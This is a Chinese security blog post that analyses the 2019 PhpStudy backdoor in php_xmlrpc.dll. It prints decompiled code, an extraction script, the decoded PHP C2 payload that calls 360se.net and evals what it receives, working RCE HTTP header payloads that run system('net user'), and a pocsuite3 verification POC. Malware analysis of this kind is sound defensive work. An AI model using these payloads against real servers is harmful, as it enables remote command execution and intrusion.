关于《PhpStudy BackDoor》风波已经过去有一段时间了，由于，前段时间一直忙于其它事情QAQ，今天有时间对该事件重新回溯&深度分析。
*严正声明：本文仅限于技术讨论与分享，严禁用于非法途径
背景分析
2019年9月20日，杭州市公安局举行新闻通报会，通报今年以来组织开展打击涉网违法犯罪暨“净网2019”专项行动战果，通报内容中提到国内著名的PHP调试环境程序集成包Phpstudy软件遭受到以马某为首的国内黑客团伙攻击并被植入后门。 Phpstudy集成环境包在国内的使用用户逾百万，据悉，此次后门攻击事件可追溯到2016年，屹今为止累计控制计算机逾67万台，该黑客团伙通过该后门获取的用户信息、各类系统账号信息进一步开展违法行为，累计非法牟利600余万元。
影响版本
phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
环境准备
测试环境以“phpStudy20161103版本 php5.4.45”为例进行分析
ps:目前官方已更新旧版本程序，可自行下载 https://www.xp.cn
第一个是目前官方正常配置文件，第二个是被植入后门的配置文件，从图中直观的也能看出来两个文件的大小不一样！！分别对其进行Hash校验：
MD5(php_xmlrpc.dll)：c339482fd2b233fb0a555b629c0ea5d5
MD5(php_xmlrpc true.dll)：6ddb8f2af4b2b24671ddcd82d7c08c91
通过Hash校验发现两个文件的Hash值不一样！
后门分析
目前各大厂商已将此后门加入威胁情报库中，此处通过virustotal和火绒查看
从上图可以看到原始的php_xmlrpc.dll存在威胁，接下来开始对“php_xmlrpc.dll”进行深入分析......
通过IDA进行查看可以发现官方更新过的“php_xmlrpc.dll”文件已经不存在危险函数“sub_100031F0”，下面正式分析被植入后门的“php_xmlrpc.dll”
首先，用IDA打开“php_xmlrpc.dll”，shift+f12定位是否存在危险字符串
通过索引发现存在危险函数eval()
根据eval()函数定位到相应的代码段然后反编译伪代码找到后门危险函数“sub_100031F0”
“sub_100031F0”程序代码
int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)
{
int v3; // edx
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // esi
char *v8; // edi
char *v9; // ecx
int v10; // eax
char *v11; // esi
int v12; // eax
char *v13; // edi
char *v14; // ecx
_DWORD *v15; // esi
int v16; // eax
void *v17; // edx
int v18; // eax
void *v19; // edi
_DWORD *v20; // esi
int result; // eax
int v22; // eax
int v23; // ecx
int v24; // eax
int v25; // edi
_DWORD *v26; // esi
char v27; // [esp+Dh] [ebp-19Bh]
__int16 v28; // [esp+BDh] [ebp-EBh]
char v29; // [esp+BFh] [ebp-E9h]
char v30; // [esp+C0h] [ebp-E8h]
char v31; // [esp+100h] [ebp-A8h]
char v32; // [esp+140h] [ebp-68h]
char v33; // [esp+180h] [ebp-28h]
const char ***v34; // [esp+184h] [ebp-24h]
int v35; // [esp+188h] [ebp-20h]
int v36; // [esp+18Ch] [ebp-1Ch]
int **v37; // [esp+190h] [ebp-18h]
int v38; // [esp+194h] [ebp-14h]
_DWORD **v39; // [esp+198h] [ebp-10h]
void *v40; // [esp+19Ch] [ebp-Ch]
char *v41; // [esp+1A0h] [ebp-8h]
char *v42; // [esp+1A4h] [ebp-4h]
memset(&v27, 0, 0xB0u);
v28 = 0;
v3 = *a3;
v29 = 0;
if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) )
zend_is_auto_global(aServer, 7, a3);
zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33);
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
{
v40 = sub_100040B0(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v5 = *(_DWORD *)(v4 + 296);
*(_DWORD *)(v4 + 296) = &v30;
v35 = v5;
v6 = setjmp3(&v30, 0);
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
else
zend_eval_string(v40, 0, &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
}
}
}
else
{
v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( 1 )
{
if ( *v15 == 39 )
{
v13[v12] = 92;
v42[v12 + 1] = *v14;
v12 += 2;
v15 += 2;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += 4;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v17 = *(void **)(v16 + 296);
*(_DWORD *)(v16 + 296) = &v32;
v40 = v17;
v18 = setjmp3(&v32, 0);
v19 = v40;
if ( v18 )
{
v20 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
}
else
{
v20 = a3;
zend_eval_string(v42, 0, &byte_10012884, a3);
}
result = 0;
*(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;
return result;
}
}
}
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 )
{
if ( strlen(byte_100127B8) == 0 )
sub_10004480(byte_100127B8);
if ( strlen(Dest) == 0 )
sub_10004380(Dest);
if ( strlen(byte_100127EC) == 0 )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = 0;
v11 = asc_1000D028;
while ( 1 )
{
if ( *(_DWORD *)v11 == 39 )
{
v8[v10] = 92;
v41[v10 + 1] = *v9;
v10 += 2;
v11 += 8;
}
else
{
v8[v10++] = *v9;
v11 += 4;
}
v9 += 4;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v23 = *(_DWORD *)(v22 + 296);
*(_DWORD *)(v22 + 296) = &v31;
v38 = v23;
v24 = setjmp3(&v31, 0);
v25 = v38;
if ( v24 )
{
v26 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;
}
else
{
v26 = a3;
zend_eval_string(v41, 0, &byte_10012884, a3);
}
*(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;
if ( dword_1000D010 < 3600 )
dword_1000D010 += 3600;
ftime(&dword_10012AA0);
}
ftime(&dword_10012AB0);
if ( dword_10012AA0 < 0 )
ftime(&dword_10012AA0);
return 0;
}
首先分析spprintf()函数代码处功能，因为其对eval()函数进行了处理
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
spprintf函数是php官方自己封装的函数，此处实际上实现的是字符串拼接功能，实际代码如下：
@eval(%s(',27h,'%s',27h,'));@eval(gzuncompress(',27h,’v42′,27h,'));
@eval(gzuncompress(',27h,’v41′,27h,'));
ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参
可以看到上述代码主要对v41、v42数据进行解压执行操控，可以初步猜想恶意代码存在于v41和v42数据中，同理按照思路流程向上去找v41、v42数据内容，
对v41的处理代码
if ( strlen(byte_100127EC) == 0 )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = 0;
v11 = asc_1000D028;
while ( 1 )
{
if ( *(_DWORD *)v11 == 39 )
{
v8[v10] = 92;
v41[v10 + 1] = *v9;
v10 += 2;
v11 += 8;
}
else
{
v8[v10++] = *v9;
v11 += 4;
}
v9 += 4;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
对v42的处理代码
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( 1 )
{
if ( *v15 == 39 )
{
v13[v12] = 92;
v42[v12 + 1] = *v14;
v12 += 2;
v15 += 2;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += 4;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
分析代码可知v41数据内容是1000D028-1000D66C(基地址为10000000)范围内的数据，v42数据内容是1000D66C-1000E5C4(基地址为10000000)范围内的数据，使用010edit查看发现其均位于.data数据块
由于.data为dword类型每个值占用4个字节，代码处将其转换为char类型进行存储，然后使用php内置函数gzuncompress对其解压执行
使用微步情报局公开的解密脚本进行两段数据的提取解压
# -*- coding:utf-8 -*-
# !/usr/bin/env python
import os, sys, string, shutil, re
import base64
import struct
import pefile
import ctypes
import zlib
# import put_family_c2
def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c + length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')
for x in chars])
lines.append("%04x %-*s %s\n" % (c, length * 3, hex, printable))
return ''.join(lines)
def descrypt(data):
try:
# data = base64.encodestring(data)
# print(hexdump(data))
num = 0
data = zlib.decompress(data)
# return result
return (True, result)
except Exception, e:
print(e)
return (False, "")
def GetSectionData(pe, Section):
try:
ep = Section.VirtualAddress
ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]
# print(hexdump(data))
return data
except Exception, e:
return None
def GetSecsions(PE):
try:
for section in PE.sections:
# print(hexdump(section.Name))
if (section.Name.replace('\x00', '') == '.data'):
data = GetSectionData(PE, section)
# print(hexdump(data))
return (True, data)
return (False, "")
except Exception, e:
return (False, "")
def get_encodedata(filename):
pe = pefile.PE(filename)
(ret, data) = GetSecsions(pe)
if ret:
flag = "gzuncompress"
offset = data.find(flag)
data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")
decodedata_1 = zlib.decompress(data[:0x191])
print(hexdump(data[0x191:]))
decodedata_2 = zlib.decompress(data[0x191:])
with open("decode_1.txt", "w") as hwrite:
hwrite.write(decodedata_1)
hwrite.close
with open("decode_2.txt", "w") as hwrite:
hwrite.write(decodedata_2)
hwrite.close
def main(path):
c2s = []
domains = []
file_list = os.listdir(path)
for f in file_list:
print f
file_path = os.path.join(path, f)
get_encodedata(file_path)
if __name__ == "__main__":
# os.getcwd()
path = "php5.4.45"
main(path)
运行结果生成两个数据文件分别对应v41、v42，查看数据内容是经过base64编码过的，对其解码
v41数据
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
v41脚本：使用fsockopen模拟GET发包
v42数据
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
v42脚本：后门c2服务器(360se.net)(当前c2已经失活，因此不会对相关被控主机造成新的危害)
ps:从上面v41、v42数据的提取过程，可以发现攻击者对数据进行了压缩存储，增加了恶意代码的隐蔽性，同时c2服务器域名模仿了奇虎360公司相关产品名称，具有一定的欺诈特性。
分析反向连接c2后门
核心代码
v12 = strcmp(**v34, aCompressGzip); // //compress,gzip
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( 1 )
{
if ( *v15 == 39 )
{
v13[v12] = 92;
v42[v12 + 1] = *v14;
v12 += 2;
v15 += 2;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += 4;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v17 = *(void **)(v16 + 296);
分析代码逻辑，首先想要执行
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
必须满足if ( !v12 )
v12 = strcmp(**v34, aCompressGzip); if ( !v12 )
定位aCompressGzip，只要ACCEPT_ENCODING等于compress,gzip即可出发v42恶意代码
构造相应Payload：
GET / HTTP/1.1 Host: x.x.x.x ….. Accept-Encoding:compress,gzip ….
ps:由于C2服务器已经失效，不在进行后续操作
分析正向连接 RCE
在C2后门基础上向上接着分析
核心代码
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
{
v40 = sub_100040B0(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v5 = *(_DWORD *)(v4 + 296);
*(_DWORD *)(v4 + 296) = &v30;
v35 = v5;
v6 = setjmp3(&v30, 0);
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
else
zend_eval_string(v40, 0, &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
}
}
}
分析代码逻辑
第一个if()，判断是否存在HTTP_ACCEPT_ENCODING字段，$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头部信息的内容。
第二个if()，在第一个if()基础上，判断$_SERVER['HTTP_ACCEPT_ENCODING'] 字段值是否是gzip,deflate。
第三个if()，在前两个if()的基础上，判断是否存在HTTP_ACCEPT_CHARSET字段 ，$_SERVER['HTTP_ACCEPT_CHARSET']为当前请求的 Accept-Charset: 头部信息的内容。
最后，在前三个if()的基础上，提取HTTP_ACCEPT_CHARSET字段值，并对该值进行base64解码，然后调用zend_eval_string(v40, 0, &byte_10012884, a3); 执行RCE。
构造相应Payload：
GET / HTTP/1.1 Host: x.x.x.x ….. Accept-Encoding: gzip,deflate Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw== ….
EXP利用
后门RCE
exp构造
GET /phpinfo.php HTTP/1.1 Host: 192.168.43.146 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip,deflate Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw== Connection: close Upgrade-Insecure-Requests: 1
exp利用
Accept-Charset请求头字段值需要经过base64编码
c3lzdGVtKCJuZXQgdXNlciIpOw==
system("net user");
通过system函数查询的回显，可以看到后门RCE漏洞执行成功
ps:需要注意的一点，Accept-Encoding: gzip,deflate中，gzip,deflate之间不能存在空格，因为后门程序是进行的严格字符串匹配
POC构造
后门RCE
POC验证
POC代码编写利用创宇的pocsuite3框架进行编写，此处放上自己最初写的POC，只包含漏洞验证模块，因为本人已删掉attack模块（安全第一！！！）
import base64
import hashlib
import random
import urllib
from urllib.parse import urljoin, quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_port
from pocsuite3.api import requests
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.utils import get_middle_text
class DemoPOC(POCBase):
vulID = '93212' # ssvid
version = '1.0'
author = ['Qftm']
vulDate = '2019-09-23'
createDate = '2019-09-23'
updateDate = '2019-09-23'
references = ['https://www.seebug.org/vuldb/ssvid-93212']
name = 'phpstudy backdoor'
appPowerLink = 'http://www.finecms.net/show-1.html '
appName = 'phpstudy'
appVersion = 'version = 2018|2016'
vulType = 'backdoor'
desc = '''Phpstudy Backdoor RCE'''
samples = []
install_requires = ['']
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _verify(self):
result = {}
try:
vul_url = urljoin(self.url, '/')
rand_num = random.randint(0, 1000)
hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest()
print(vul_url)
prexp = '''echo '{}' ;'''.format(hash_flag)
exp = base64.b64encode(prexp.encode()).decode()
headers = {'Accept-Encoding': 'gzip,deflate',
'Accept-Charset': '{}'.format(exp)
}
r = requests.post(vul_url, headers=headers)
if r.status_code != 404:
if hash_flag in r.text:
print(r.headers.get("Location"))
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
except Exception as ex:
logger.exception(ex)
return self.parse_output(result)
def _attack(self):
result = {}
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
漏洞验证机制使用随机数产生的MD5值（hash_flag）进行校验，首先判断网页是否是404提高命中率，然后根据网页返回来的内容，比对查看是否包含相应的hash_flag，如果包含则证明存在后门RCE，否则不存在。
验证效果
漏洞预防
1、内部排查确认受影响的Phpstudy环境PC主机，进行安全扫描处理（火绒、360安全卫士等）、清除可能存在的可疑程序。
2、对受影响的Phpstudy环境PC主机上的用户账号信息做登录日志审计、及时更换相关账号密码，防止账号密码早已泄露，造成危害。
3、到官网进行下载更新，校验hash。
参考链接
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw https://www.freebuf.com/articles/others-articles/215406.html# https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd